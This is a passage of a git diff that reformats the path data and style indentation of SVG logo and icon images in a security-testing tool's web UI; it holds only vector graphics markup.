d="M266.921,139.964c.842,4.511-29.65,27.736-66.422,27.75-36.8.014-67.265-23.218-66.422-27.75.738-3.967,25.2,7.826,67.325,7.667C242.488,147.477,266.2,136.079,266.921,139.964Z" transform="translate(0 0)"/> + </g> + <g> + <path class="cls-3" d="M38.422,135.08h0a28.821,28.821,0,0,1,4.857.416,28.464,28.464,0,0,1-4.766,56.518,28.827,28.827,0,0,1-4.858-.416,28.464,28.464,0,0,1,4.767-56.518m0-10a38.5,38.5,0,1,0,6.548.56,38.472,38.472,0,0,0-6.548-.56Z" transform="translate(0 0)"/> + <path class="cls-3" d="M41.794,144.147a13.236,13.236,0,0,1,8.216,1.095,16.787,16.787,0,0,1,9.569,13.521,13.191,13.191,0,0,1-1.713,8.113,45.168,45.168,0,0,0-2.121-7.242,29.423,29.423,0,0,0-3.248-6.008,29.073,29.073,0,0,0-4.578-5.07A44.406,44.406,0,0,0,41.794,144.147Z" transform="translate(0 0)"/> + <path class="cls-3" d="M37.831,207.518l-1.732-.3,1.751-10.208-9.7-1.664L26.4,205.557l-1.733-.3a3.422,3.422,0,0,0-3.951,2.794l-8.233,48A3.422,3.422,0,0,0,15.276,260l13.165,2.258a3.422,3.422,0,0,0,3.951-2.794l8.233-48A3.423,3.423,0,0,0,37.831,207.518Z" transform="translate(0 0)"/> + </g> + <g> + <path class="cls-5" d="M147.564,239.714l24.913,454.461" transform="translate(0 0)"/> + <path class="cls-5" d="M249.867,237.9,207.651,689.326" transform="translate(0 0)"/> + <path class="cls-3" d="M205.579,694.549a3.553,3.553,0,1,1-3.553,3.553,3.553,3.553,0,0,1,3.553-3.553m0-8A11.553,11.553,0,1,0,217.132,698.1a11.566,11.566,0,0,0-11.553-11.553Z" transform="translate(0 0)"/> + <path class="cls-5" d="M153.34,236.376c-8.305,35.8-24.536,58.2-34.783,69.957-11.5,13.2-27.558,31.628-43.511,28.346-11.773-2.423-18.369-16.382-31.079-44.2a377.764,377.764,0,0,1-19.338-52.144" transform="translate(0 0)"/> + <path class="cls-5" d="M254.092,228.079,300.37,330.16a143.153,143.153,0,0,1-63.194,68.374" transform="translate(0 0)"/> + <g> + <circle class="cls-1" cx="172.477" cy="697.729" r="7.553"/> + <path class="cls-3" d="M172.477,694.175a3.553,3.553,0,1,1-3.553,3.553,3.553,3.553,0,0,1,3.553-3.553m0-8a11.553,11.553,0,1,0,11.553,11.553,11.566,11.566,0,0,0-11.553-11.553Z" transform="translate(0 0)"/> + </g> + <g> + <circle class="cls-1" cx="18.234" cy="231.893" r="7.553"/> + <path class="cls-3" d="M18.234,228.339a3.553,3.553,0,1,1-3.553,3.553,3.553,3.553,0,0,1,3.553-3.553m0-8a11.553,11.553,0,1,0,11.553,11.553,11.566,11.566,0,0,0-11.553-11.553Z" transform="translate(0 0)"/> + </g> + </g> +</svg> diff --git a/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg b/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg index 3a357890d..ee2d9cda0 100644 --- a/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg +++ b/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg @@ -2,30 +2,45 @@ <defs> <style> .cls-1 { - fill: #fff; + fill: #fff; } </style> </defs> <title>14cbedff-3eed-4f8f-abb7-fffe92867ded</title> <g> - <path class="cls-1" d="M89.22,6.874l1.819-.159a3.153,3.153,0,1,1,.124-1.065,2.306,2.306,0,0,1-.005.492l-4.489.393a1.257,1.257,0,0,0,1.414.989,1.417,1.417,0,0,0,1.06-.56A.6.6,0,0,1,89.22,6.874Zm.087-1.767a1.311,1.311,0,0,0-1.443-.916,1.282,1.282,0,0,0-1.249,1.151Z"/> - <path class="cls-1" d="M67.715,4.191a1.622,1.622,0,1,1-1.622,1.622,1.624,1.624,0,0,1,1.622-1.622m0-1.542a3.164,3.164,0,1,0,3.164,3.164A3.164,3.164,0,0,0,67.715,2.65Z"/> - <path class="cls-1" d="M54.893,8.808,55.53.648A6.958,6.958,0,0,1,56.736.564a6.743,6.743,0,0,1,1.193.084L58.7,3.7q.324,1.332.456,2.148h.071q.132-.816.456-2.148L60.45.648a6.914,6.914,0,0,1,1.2-.084,6.7,6.7,0,0,1,1.188.084l.636,8.16a3.218,3.218,0,0,1-.863.1,5.125,5.125,0,0,1-.864-.06l-.192-3.48q-.1-1.656-.1-2.724h-.084L60.126,7.62a5.447,5.447,0,0,1-.93.06,5.9,5.9,0,0,1-.954-.06L57.006,2.64h-.084q-.023,1.464-.1,2.724l-.192,3.48a5.125,5.125,0,0,1-.864.06A3.366,3.366,0,0,1,54.893,8.808Z"/> - <path class="cls-1" d="M77.094,4.86v2.5a2.089,2.089,0,0,0,.288,1.188,1.611,1.611,0,0,1-1.05.384.983.983,0,0,1-.8-.276,1.321,1.321,0,0,1-.223-.84V5.2a1.33,1.33,0,0,0-.12-.648.446.446,0,0,0-.42-.2,1.386,1.386,0,0,0-.983.468v4.02A4.716,4.716,0,0,1,72.9,8.9a5.113,5.113,0,0,1-.906-.072V2.856l.084-.084h.672a.9.9,0,0,1,.948.72,2.669,2.669,0,0,1,1.7-.744,1.477,1.477,0,0,1,1.26.576A2.5,2.5,0,0,1,77.094,4.86Z"/> - <path class="cls-1" d="M81.3,6.408l-.4.012V8.832a4.606,4.606,0,0,1-.864.072,5,5,0,0,1-.888-.072V.084L79.241,0h.7a.973.973,0,0,1,.75.246,1.243,1.243,0,0,1,.222.834V4.944h.216a.369.369,0,0,0,.336-.216l.685-1.26a1.062,1.062,0,0,1,1.008-.66q.347,0,1,.024l.071.1-.972,1.824a1.885,1.885,0,0,1-.6.672,1.7,1.7,0,0,1,1.02,1.044l.3.888a4.932,4.932,0,0,0,.307.708.941.941,0,0,0,.27.3,1.512,1.512,0,0,1-1.2.564.839.839,0,0,1-.582-.18,1.534,1.534,0,0,1-.354-.636l-.36-1.056a1.225,1.225,0,0,0-.306-.516A.675.675,0,0,0,81.3,6.408Z"/> - <path class="cls-1" d="M97.577,3.036l-1.5,5.628a5.042,5.042,0,0,1-1,2.1,2.437,2.437,0,0,1-1.9.7,4.322,4.322,0,0,1-1.416-.24V11a2.268,2.268,0,0,1,.09-.51,1.213,1.213,0,0,1,.27-.54,3.946,3.946,0,0,0,1.057.18,1.231,1.231,0,0,0,1.212-1.044l.048-.168q-1.008-.024-1.2-.744L91.805,2.988a2.4,2.4,0,0,1,.989-.24,1.049,1.049,0,0,1,.666.168,1.108,1.108,0,0,1,.313.6l.6,2.376q.1.348.288,1.6a.094.094,0,0,0,.108.084l1.08-4.716a3.485,3.485,0,0,1,.786-.072,2.786,2.786,0,0,1,.882.132Z"/> + <path class="cls-1" + d="M89.22,6.874l1.819-.159a3.153,3.153,0,1,1,.124-1.065,2.306,2.306,0,0,1-.005.492l-4.489.393a1.257,1.257,0,0,0,1.414.989,1.417,1.417,0,0,0,1.06-.56A.6.6,0,0,1,89.22,6.874Zm.087-1.767a1.311,1.311,0,0,0-1.443-.916,1.282,1.282,0,0,0-1.249,1.151Z"/> + <path class="cls-1" + d="M67.715,4.191a1.622,1.622,0,1,1-1.622,1.622,1.624,1.624,0,0,1,1.622-1.622m0-1.542a3.164,3.164,0,1,0,3.164,3.164A3.164,3.164,0,0,0,67.715,2.65Z"/> + <path class="cls-1" + d="M54.893,8.808,55.53.648A6.958,6.958,0,0,1,56.736.564a6.743,6.743,0,0,1,1.193.084L58.7,3.7q.324,1.332.456,2.148h.071q.132-.816.456-2.148L60.45.648a6.914,6.914,0,0,1,1.2-.084,6.7,6.7,0,0,1,1.188.084l.636,8.16a3.218,3.218,0,0,1-.863.1,5.125,5.125,0,0,1-.864-.06l-.192-3.48q-.1-1.656-.1-2.724h-.084L60.126,7.62a5.447,5.447,0,0,1-.93.06,5.9,5.9,0,0,1-.954-.06L57.006,2.64h-.084q-.023,1.464-.1,2.724l-.192,3.48a5.125,5.125,0,0,1-.864.06A3.366,3.366,0,0,1,54.893,8.808Z"/> + <path class="cls-1" + d="M77.094,4.86v2.5a2.089,2.089,0,0,0,.288,1.188,1.611,1.611,0,0,1-1.05.384.983.983,0,0,1-.8-.276,1.321,1.321,0,0,1-.223-.84V5.2a1.33,1.33,0,0,0-.12-.648.446.446,0,0,0-.42-.2,1.386,1.386,0,0,0-.983.468v4.02A4.716,4.716,0,0,1,72.9,8.9a5.113,5.113,0,0,1-.906-.072V2.856l.084-.084h.672a.9.9,0,0,1,.948.72,2.669,2.669,0,0,1,1.7-.744,1.477,1.477,0,0,1,1.26.576A2.5,2.5,0,0,1,77.094,4.86Z"/> + <path class="cls-1" + d="M81.3,6.408l-.4.012V8.832a4.606,4.606,0,0,1-.864.072,5,5,0,0,1-.888-.072V.084L79.241,0h.7a.973.973,0,0,1,.75.246,1.243,1.243,0,0,1,.222.834V4.944h.216a.369.369,0,0,0,.336-.216l.685-1.26a1.062,1.062,0,0,1,1.008-.66q.347,0,1,.024l.071.1-.972,1.824a1.885,1.885,0,0,1-.6.672,1.7,1.7,0,0,1,1.02,1.044l.3.888a4.932,4.932,0,0,0,.307.708.941.941,0,0,0,.27.3,1.512,1.512,0,0,1-1.2.564.839.839,0,0,1-.582-.18,1.534,1.534,0,0,1-.354-.636l-.36-1.056a1.225,1.225,0,0,0-.306-.516A.675.675,0,0,0,81.3,6.408Z"/> + <path class="cls-1" + d="M97.577,3.036l-1.5,5.628a5.042,5.042,0,0,1-1,2.1,2.437,2.437,0,0,1-1.9.7,4.322,4.322,0,0,1-1.416-.24V11a2.268,2.268,0,0,1,.09-.51,1.213,1.213,0,0,1,.27-.54,3.946,3.946,0,0,0,1.057.18,1.231,1.231,0,0,0,1.212-1.044l.048-.168q-1.008-.024-1.2-.744L91.805,2.988a2.4,2.4,0,0,1,.989-.24,1.049,1.049,0,0,1,.666.168,1.108,1.108,0,0,1,.313.6l.6,2.376q.1.348.288,1.6a.094.094,0,0,0,.108.084l1.08-4.716a3.485,3.485,0,0,1,.786-.072,2.786,2.786,0,0,1,.882.132Z"/> </g> <g> - <path class="cls-1" d="M0,8.937V.741A1.882,1.882,0,0,1,.414.705,2.229,2.229,0,0,1,.852.741v8.2a2.231,2.231,0,0,1-.432.036A2.056,2.056,0,0,1,0,8.937Z"/> - <path class="cls-1" d="M8.232,4.809V7.833a2.871,2.871,0,0,0,.12,1,.7.7,0,0,1-.517.18q-.42,0-.42-.54V5.085a2.2,2.2,0,0,0-.191-1.074.747.747,0,0,0-.7-.318,2.332,2.332,0,0,0-1.044.27,2.7,2.7,0,0,0-.888.69V8.937a1.994,1.994,0,0,1-.408.036,1.987,1.987,0,0,1-.408-.036V3.093l.072-.072h.312a.384.384,0,0,1,.348.132.831.831,0,0,1,.085.432v.24a2.983,2.983,0,0,1,.966-.636A2.908,2.908,0,0,1,6.7,2.949a1.335,1.335,0,0,1,1.17.516A2.272,2.272,0,0,1,8.232,4.809Z"/> - <path class="cls-1" d="M11.147,8.937V3.669l-1.031.012a1.473,1.473,0,0,1-.036-.312,1.639,1.639,0,0,1,.036-.324l1,.024q-.085-1.115-.084-1.272A1.769,1.769,0,0,1,11.472.555,1.538,1.538,0,0,1,12.666.069a3.728,3.728,0,0,1,1.386.252.818.818,0,0,1-.2.564A3.881,3.881,0,0,0,12.756.693a.883.883,0,0,0-.708.294,1.226,1.226,0,0,0-.252.822,9.977,9.977,0,0,0,.1,1.26l1.776-.024a1.716,1.716,0,0,1,.036.324,1.54,1.54,0,0,1-.036.312l-1.716-.012V8.937a2.258,2.258,0,0,1-.8,0Z"/> - <path class="cls-1" d="M32.352,3.045a1.716,1.716,0,0,1,.036.324,1.54,1.54,0,0,1-.036.312l-1.524-.012v4.14q0,.492.468.492h.925a1,1,0,0,1,.071.372,1.405,1.405,0,0,1-.012.24,8.879,8.879,0,0,1-1.122.072,1.268,1.268,0,0,1-.846-.246.87.87,0,0,1-.288-.7V3.669l-.828.012a1.336,1.336,0,0,1-.036-.306,1.664,1.664,0,0,1,.036-.33l.828.012v-1.3a.794.794,0,0,1,.09-.432.4.4,0,0,1,.354-.132h.288l.072.072v1.8Z"/> - <path class="cls-1" d="M35.472,3.837v5.1a2.324,2.324,0,0,1-.816,0V4.257a.7.7,0,0,0-.108-.456.5.5,0,0,0-.384-.12h-.107a1.288,1.288,0,0,1-.036-.294,1.616,1.616,0,0,1,.036-.318,4.4,4.4,0,0,1,.575-.048h.1a.7.7,0,0,1,.546.216A.856.856,0,0,1,35.472,3.837ZM34.379,1.881a.986.986,0,0,1-.084-.438.837.837,0,0,1,.084-.414.853.853,0,0,1,.511-.12.8.8,0,0,1,.5.12.837.837,0,0,1,.084.414.986.986,0,0,1-.084.438A.707.707,0,0,1,34.9,2,.874.874,0,0,1,34.379,1.881Z"/> - <path class="cls-1" d="M49.139,4.809V7.833a2.871,2.871,0,0,0,.12,1,.7.7,0,0,1-.517.18q-.42,0-.42-.54V5.085a2.2,2.2,0,0,0-.191-1.074.747.747,0,0,0-.7-.318,2.332,2.332,0,0,0-1.044.27,2.7,2.7,0,0,0-.888.69V8.937a2.324,2.324,0,0,1-.816,0V3.093l.072-.072h.312a.384.384,0,0,1,.348.132.831.831,0,0,1,.085.432v.24a2.983,2.983,0,0,1,.966-.636,2.908,2.908,0,0,1,1.134-.24,1.335,1.335,0,0,1,1.17.516A2.272,2.272,0,0,1,49.139,4.809Z"/> - <path class="cls-1" d="M40.075,3.555a2.364,2.364,0,1,1-2.364,2.364,2.367,2.367,0,0,1,2.364-2.364m0-.8a3.164,3.164,0,1,0,3.164,3.164,3.164,3.164,0,0,0-3.164-3.164Z"/> - <path class="cls-1" d="M25.315,8.285a2.349,2.349,0,0,1-2.04-1.18,2.335,2.335,0,0,1,0-2.36,2.344,2.344,0,0,1,4.08,0l.7-.4a3.16,3.16,0,1,0,0,3.16l-.7-.4A2.35,2.35,0,0,1,25.315,8.285Z"/> + <path class="cls-1" + d="M0,8.937V.741A1.882,1.882,0,0,1,.414.705,2.229,2.229,0,0,1,.852.741v8.2a2.231,2.231,0,0,1-.432.036A2.056,2.056,0,0,1,0,8.937Z"/> + <path class="cls-1" + d="M8.232,4.809V7.833a2.871,2.871,0,0,0,.12,1,.7.7,0,0,1-.517.18q-.42,0-.42-.54V5.085a2.2,2.2,0,0,0-.191-1.074.747.747,0,0,0-.7-.318,2.332,2.332,0,0,0-1.044.27,2.7,2.7,0,0,0-.888.69V8.937a1.994,1.994,0,0,1-.408.036,1.987,1.987,0,0,1-.408-.036V3.093l.072-.072h.312a.384.384,0,0,1,.348.132.831.831,0,0,1,.085.432v.24a2.983,2.983,0,0,1,.966-.636A2.908,2.908,0,0,1,6.7,2.949a1.335,1.335,0,0,1,1.17.516A2.272,2.272,0,0,1,8.232,4.809Z"/> + <path class="cls-1" + d="M11.147,8.937V3.669l-1.031.012a1.473,1.473,0,0,1-.036-.312,1.639,1.639,0,0,1,.036-.324l1,.024q-.085-1.115-.084-1.272A1.769,1.769,0,0,1,11.472.555,1.538,1.538,0,0,1,12.666.069a3.728,3.728,0,0,1,1.386.252.818.818,0,0,1-.2.564A3.881,3.881,0,0,0,12.756.693a.883.883,0,0,0-.708.294,1.226,1.226,0,0,0-.252.822,9.977,9.977,0,0,0,.1,1.26l1.776-.024a1.716,1.716,0,0,1,.036.324,1.54,1.54,0,0,1-.036.312l-1.716-.012V8.937a2.258,2.258,0,0,1-.8,0Z"/> + <path class="cls-1" + d="M32.352,3.045a1.716,1.716,0,0,1,.036.324,1.54,1.54,0,0,1-.036.312l-1.524-.012v4.14q0,.492.468.492h.925a1,1,0,0,1,.071.372,1.405,1.405,0,0,1-.012.24,8.879,8.879,0,0,1-1.122.072,1.268,1.268,0,0,1-.846-.246.87.87,0,0,1-.288-.7V3.669l-.828.012a1.336,1.336,0,0,1-.036-.306,1.664,1.664,0,0,1,.036-.33l.828.012v-1.3a.794.794,0,0,1,.09-.432.4.4,0,0,1,.354-.132h.288l.072.072v1.8Z"/> + <path class="cls-1" + d="M35.472,3.837v5.1a2.324,2.324,0,0,1-.816,0V4.257a.7.7,0,0,0-.108-.456.5.5,0,0,0-.384-.12h-.107a1.288,1.288,0,0,1-.036-.294,1.616,1.616,0,0,1,.036-.318,4.4,4.4,0,0,1,.575-.048h.1a.7.7,0,0,1,.546.216A.856.856,0,0,1,35.472,3.837ZM34.379,1.881a.986.986,0,0,1-.084-.438.837.837,0,0,1,.084-.414.853.853,0,0,1,.511-.12.8.8,0,0,1,.5.12.837.837,0,0,1,.084.414.986.986,0,0,1-.084.438A.707.707,0,0,1,34.9,2,.874.874,0,0,1,34.379,1.881Z"/> + <path class="cls-1" + d="M49.139,4.809V7.833a2.871,2.871,0,0,0,.12,1,.7.7,0,0,1-.517.18q-.42,0-.42-.54V5.085a2.2,2.2,0,0,0-.191-1.074.747.747,0,0,0-.7-.318,2.332,2.332,0,0,0-1.044.27,2.7,2.7,0,0,0-.888.69V8.937a2.324,2.324,0,0,1-.816,0V3.093l.072-.072h.312a.384.384,0,0,1,.348.132.831.831,0,0,1,.085.432v.24a2.983,2.983,0,0,1,.966-.636,2.908,2.908,0,0,1,1.134-.24,1.335,1.335,0,0,1,1.17.516A2.272,2.272,0,0,1,49.139,4.809Z"/> + <path class="cls-1" + d="M40.075,3.555a2.364,2.364,0,1,1-2.364,2.364,2.367,2.367,0,0,1,2.364-2.364m0-.8a3.164,3.164,0,1,0,3.164,3.164,3.164,3.164,0,0,0-3.164-3.164Z"/> + <path class="cls-1" + d="M25.315,8.285a2.349,2.349,0,0,1-2.04-1.18,2.335,2.335,0,0,1,0-2.36,2.344,2.344,0,0,1,4.08,0l.7-.4a3.16,3.16,0,1,0,0,3.16l-.7-.4A2.35,2.35,0,0,1,25.315,8.285Z"/> <g> - <path class="cls-1" d="M17.87,8.285a2.365,2.365,0,1,1,2.36-2.37h.8a3.162,3.162,0,0,0-5.9-1.58,3.018,3.018,0,0,0-.43,1.58,3.165,3.165,0,0,0,5.91,1.58l-.69-.39A2.378,2.378,0,0,1,17.87,8.285Z"/> + <path class="cls-1" + d="M17.87,8.285a2.365,2.365,0,1,1,2.36-2.37h.8a3.162,3.162,0,0,0-5.9-1.58,3.018,3.018,0,0,0-.43,1.58,3.165,3.165,0,0,0,5.91,1.58l-.69-.39A2.378,2.378,0,0,1,17.87,8.285Z"/> <polygon class="cls-1" points="15.286 5.718 20.514 5.261 21.03 5.915 15.347 6.412 15.286 5.718"/> </g> </g> diff --git a/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg b/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg index 837610f28..5e91edec1 100644 --- a/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg +++ b/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg @@ -2,7 +2,7 @@ <defs> <style> .cls-1 { - fill: #333; + fill: #333; } </style> </defs> @@ -10,8 +10,11 @@ <g> <circle class="cls-1" cx="10.515" cy="14.064" r="0.526"/> <circle class="cls-1" cx="11.953" cy="14.064" r="0.526"/> - <path class="cls-1" d="M21.473,16.9a1.125,1.125,0,0,0-.76-.122l.01-.018a1.85,1.85,0,0,1-1.5-.433l-.005.009a.5.5,0,0,0-.06-.053l0,0a.653.653,0,0,1-.253-.8l0,0c.018-.044.032-.091.049-.135s.022-.06.034-.09a3,3,0,1,0,0-5.9c-.011-.03-.022-.06-.034-.09s-.031-.091-.049-.135l0,0a.653.653,0,0,1,.253-.8l0,0a.5.5,0,0,0,.06-.053l.005.009a1.849,1.849,0,0,1,1.5-.433l-.01-.018a1.125,1.125,0,0,0,.76-.122,1.145,1.145,0,0,0-1.145-1.983,1.124,1.124,0,0,0-.486.6l-.01-.018A1.849,1.849,0,0,1,18.706,7.4l.005.009a.507.507,0,0,0-.076.026l0,0a.653.653,0,0,1-.819-.181l0,0c-.029-.038-.062-.073-.092-.11q-.088-.111-.18-.218c-.052-.061-.1-.123-.155-.182s-.13-.136-.2-.2S17.068,6.41,17,6.347s-.134-.133-.2-.2-.122-.1-.182-.155-.144-.121-.218-.18c-.037-.03-.072-.063-.11-.092l0,0a.653.653,0,0,1-.181-.819l0,0a.491.491,0,0,0,.026-.076l.009.005a1.849,1.849,0,0,1,1.084-1.126l-.018-.01a1.125,1.125,0,0,0,.6-.486,1.145,1.145,0,1,0-1.983-1.145,1.125,1.125,0,0,0-.122.76l-.018-.01a1.85,1.85,0,0,1-.433,1.5l.009.005a.509.509,0,0,0-.053.06l0,0a.653.653,0,0,1-.8.253l0,0c-.044-.018-.091-.032-.135-.049l-.149-.056c.309-.4.534-.842.455-.908s-.279.27-.766.493a1.591,1.591,0,0,1-.413.126c.044-.121.086-.249.123-.385.214-.788.25-1.691.088-1.731-.127-.032-.193.518-.682,1.1a2.53,2.53,0,0,1-.93.694.643.643,0,0,1-.24-.467h0a.5.5,0,0,0-.016-.078h.011a1.849,1.849,0,0,1,.376-1.517H12.1a1.125,1.125,0,0,0,.274-.719,1.145,1.145,0,1,0-2.29,0,1.125,1.125,0,0,0,.274.719h-.02a1.849,1.849,0,0,1,.376,1.517h.011a.5.5,0,0,0-.016.078h0a.653.653,0,0,1-.566.619h0l-.061.011c.109-.6.035-1.179-.111-1.206s-.16.433-.575.932a2.642,2.642,0,0,1-1.008.7c-.066.024-.132.048-.2.074-.045.018-.091.031-.135.049l0,0a.653.653,0,0,1-.8-.253l0,0a.509.509,0,0,0-.053-.06l.009-.005a1.85,1.85,0,0,1-.433-1.5l-.018.01a1.125,1.125,0,0,0-.122-.76A1.145,1.145,0,1,0,4.661,3.213a1.125,1.125,0,0,0,.6.486l-.018.01A1.849,1.849,0,0,1,6.325,4.835l.009-.005a.491.491,0,0,0,.026.076l0,0a.653.653,0,0,1-.181.819l0,0c-.038.029-.073.062-.11.092Q5.958,5.9,5.851,6c-.061.052-.123.1-.182.155s-.136.13-.2.2-.128.126-.191.191-.133.134-.2.2-.1.122-.155.182-.121.144-.18.218c-.03.037-.063.072-.092.11l0,0a.653.653,0,0,1-.819.181l0,0a.507.507,0,0,0-.076-.026L3.762,7.4A1.849,1.849,0,0,1,2.635,6.314l-.01.018a1.124,1.124,0,0,0-.486-.6A1.145,1.145,0,0,0,.995,7.717a1.125,1.125,0,0,0,.76.122l-.01.018a1.849,1.849,0,0,1,1.5.433l.005-.009a.5.5,0,0,0,.06.053l0,0a.653.653,0,0,1,.253.8l0,0c-.018.044-.032.091-.049.135s-.022.06-.034.09A2.984,2.984,0,0,0,3,9.309a3,3,0,0,0,0,6,2.984,2.984,0,0,0,.485-.049c.011.03.022.06.034.09s.031.091.049.135l0,0a.653.653,0,0,1-.253.8l0,0a.5.5,0,0,0-.06.053l-.005-.009a1.85,1.85,0,0,1-1.5.433l.01.018a1.125,1.125,0,0,0-.76.122A1.145,1.145,0,0,0,2.14,18.879a1.124,1.124,0,0,0,.486-.6l.01.018a1.849,1.849,0,0,1,1.126-1.084l-.005-.009a.5.5,0,0,0,.076-.025l0,0a.653.653,0,0,1,.819.181l0,0c.029.038.062.073.092.11q.088.111.18.218c.052.061.1.123.155.182s.13.136.2.2.126.128.191.191.134.133.2.2.122.1.182.155.144.121.218.18c.038.03.073.063.111.092l0,0a.653.653,0,0,1,.181.819l0,0a.493.493,0,0,0-.026.076l-.009-.005a1.849,1.849,0,0,1-1.084,1.126l.018.01a1.125,1.125,0,0,0-.6.486,1.145,1.145,0,0,0,1.983,1.145,1.125,1.125,0,0,0,.122-.76l.018.01a1.85,1.85,0,0,1,.433-1.5l-.009-.005a.5.5,0,0,0,.053-.06l0,0a.653.653,0,0,1,.8-.253l0,0c.044.018.091.032.135.05q.131.052.264.1c.075.027.15.056.226.081s.181.053.272.079.173.048.26.07.183.048.275.068.157.029.235.043.186.033.279.047c.047.007.094.018.141.025h-.005a.653.653,0,0,1,.566.619h0a.5.5,0,0,0,.016.078h-.011a1.849,1.849,0,0,1-.376,1.517h.02a1.125,1.125,0,0,0-.274.719,1.145,1.145,0,1,0,2.29,0,1.125,1.125,0,0,0-.274-.719h.02a1.849,1.849,0,0,1-.376-1.517h-.011a.5.5,0,0,0,.016-.078h0a.653.653,0,0,1,.566-.619h-.005c.047-.006.094-.018.141-.025q.14-.021.279-.047c.078-.014.158-.026.235-.043s.183-.045.275-.068.174-.045.26-.07.182-.05.272-.079.15-.054.226-.081.177-.064.264-.1c.045-.018.091-.031.135-.05l0,0a.653.653,0,0,1,.8.253l0,0a.5.5,0,0,0,.053.06l-.009.005a1.85,1.85,0,0,1,.433,1.5l.018-.01a1.125,1.125,0,0,0,.122.76A1.145,1.145,0,0,0,17.806,21.4a1.125,1.125,0,0,0-.6-.486l.018-.01a1.849,1.849,0,0,1-1.084-1.126l-.009.005a.493.493,0,0,0-.026-.076l0,0a.653.653,0,0,1,.181-.819l0,0c.038-.029.073-.063.111-.092q.111-.088.218-.18c.061-.052.123-.1.182-.155s.136-.13.2-.2.128-.126.191-.191.133-.134.2-.2.1-.122.155-.182.121-.144.18-.218c.03-.037.063-.072.092-.11l0,0a.653.653,0,0,1,.819-.181l0,0a.5.5,0,0,0,.076.025l-.005.009A1.849,1.849,0,0,1,19.832,18.3l.01-.018a1.124,1.124,0,0,0,.486.6A1.145,1.145,0,0,0,21.473,16.9ZM19.53,12.219c0-.108-.006-.216-.011-.325s-.012-.206-.021-.309c-.006-.065-.01-.131-.017-.2-.011-.1-.028-.206-.043-.309s-.029-.186-.047-.279l-.009-.051c.03,0,.058-.009.089-.009a1.567,1.567,0,0,1,0,3.133c-.03,0-.059-.007-.089-.009l.009-.051q.026-.139.047-.279c.015-.1.032-.206.043-.309.007-.065.011-.131.017-.2.009-.1.016-.206.021-.309s.01-.217.011-.325c0-.03,0-.058,0-.088S19.53,12.249,19.53,12.219ZM20.707,6.39a.388.388,0,1,1-.142.53A.388.388,0,0,1,20.707,6.39ZM16.479,2.446a.388.388,0,1,1,.142.53A.388.388,0,0,1,16.479,2.446Zm-10.633.53a.388.388,0,1,1,.142-.53A.388.388,0,0,1,5.847,2.976ZM1.9,6.92a.388.388,0,1,1-.142-.53A.388.388,0,0,1,1.9,6.92Zm1.035,5.475c0,.108.006.216.011.325s.012.206.021.309c.006.065.01.131.017.2.011.1.028.206.043.309s.029.186.047.279l.009.051c-.03,0-.058.009-.089.009A1.567,1.567,0,1,1,3,10.74c.03,0,.059.007.089.009l-.009.051q-.026.139-.047.279c-.015.1-.032.206-.043.309-.007.065-.011.131-.017.2-.009.1-.016.206-.021.309s-.01.217-.011.325c0,.03,0,.058,0,.088S2.938,12.365,2.938,12.395ZM1.761,18.224a.388.388,0,1,1,.142-.53A.388.388,0,0,1,1.761,18.224Zm4.228,3.944a.388.388,0,1,1-.142-.53A.388.388,0,0,1,5.989,22.167Zm10.633-.53a.388.388,0,1,1-.142.53A.388.388,0,0,1,16.621,21.638ZM11.234.757a.388.388,0,1,1-.388.388A.388.388,0,0,1,11.234.757Zm0,23.1a.388.388,0,1,1,.388-.388A.388.388,0,0,1,11.234,23.857Zm0-4.447a3.4,3.4,0,0,1-3.4-3.4,3.079,3.079,0,0,1,.07-.68,4.943,4.943,0,0,0,6.66,0,3.079,3.079,0,0,1,.07.68A3.4,3.4,0,0,1,11.234,19.41Zm3.137-4.7,0,.006a4.372,4.372,0,0,1-6.28,0l0-.006a3,3,0,1,1,3.137-4.181,3,3,0,1,1,3.137,4.181Zm6.865,3.368a.388.388,0,1,1-.142-.53A.388.388,0,0,1,21.236,18.082Z"/> - <path class="cls-1" d="M8.49,9.636A2.112,2.112,0,1,0,10.6,11.748,2.112,2.112,0,0,0,8.49,9.636Zm0,2.793a.681.681,0,1,1,.681-.681A.682.682,0,0,1,8.49,12.43Z"/> - <path class="cls-1" d="M13.978,9.636a2.112,2.112,0,1,0,2.112,2.112A2.112,2.112,0,0,0,13.978,9.636Zm0,2.793a.681.681,0,1,1,.681-.681A.682.682,0,0,1,13.978,12.43Z"/> + <path class="cls-1" + d="M21.473,16.9a1.125,1.125,0,0,0-.76-.122l.01-.018a1.85,1.85,0,0,1-1.5-.433l-.005.009a.5.5,0,0,0-.06-.053l0,0a.653.653,0,0,1-.253-.8l0,0c.018-.044.032-.091.049-.135s.022-.06.034-.09a3,3,0,1,0,0-5.9c-.011-.03-.022-.06-.034-.09s-.031-.091-.049-.135l0,0a.653.653,0,0,1,.253-.8l0,0a.5.5,0,0,0,.06-.053l.005.009a1.849,1.849,0,0,1,1.5-.433l-.01-.018a1.125,1.125,0,0,0,.76-.122,1.145,1.145,0,0,0-1.145-1.983,1.124,1.124,0,0,0-.486.6l-.01-.018A1.849,1.849,0,0,1,18.706,7.4l.005.009a.507.507,0,0,0-.076.026l0,0a.653.653,0,0,1-.819-.181l0,0c-.029-.038-.062-.073-.092-.11q-.088-.111-.18-.218c-.052-.061-.1-.123-.155-.182s-.13-.136-.2-.2S17.068,6.41,17,6.347s-.134-.133-.2-.2-.122-.1-.182-.155-.144-.121-.218-.18c-.037-.03-.072-.063-.11-.092l0,0a.653.653,0,0,1-.181-.819l0,0a.491.491,0,0,0,.026-.076l.009.005a1.849,1.849,0,0,1,1.084-1.126l-.018-.01a1.125,1.125,0,0,0,.6-.486,1.145,1.145,0,1,0-1.983-1.145,1.125,1.125,0,0,0-.122.76l-.018-.01a1.85,1.85,0,0,1-.433,1.5l.009.005a.509.509,0,0,0-.053.06l0,0a.653.653,0,0,1-.8.253l0,0c-.044-.018-.091-.032-.135-.049l-.149-.056c.309-.4.534-.842.455-.908s-.279.27-.766.493a1.591,1.591,0,0,1-.413.126c.044-.121.086-.249.123-.385.214-.788.25-1.691.088-1.731-.127-.032-.193.518-.682,1.1a2.53,2.53,0,0,1-.93.694.643.643,0,0,1-.24-.467h0a.5.5,0,0,0-.016-.078h.011a1.849,1.849,0,0,1,.376-1.517H12.1